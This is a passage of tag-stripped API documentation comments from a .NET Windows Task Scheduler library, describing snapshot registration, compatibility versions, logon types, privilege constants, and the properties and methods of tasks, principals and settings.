snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents 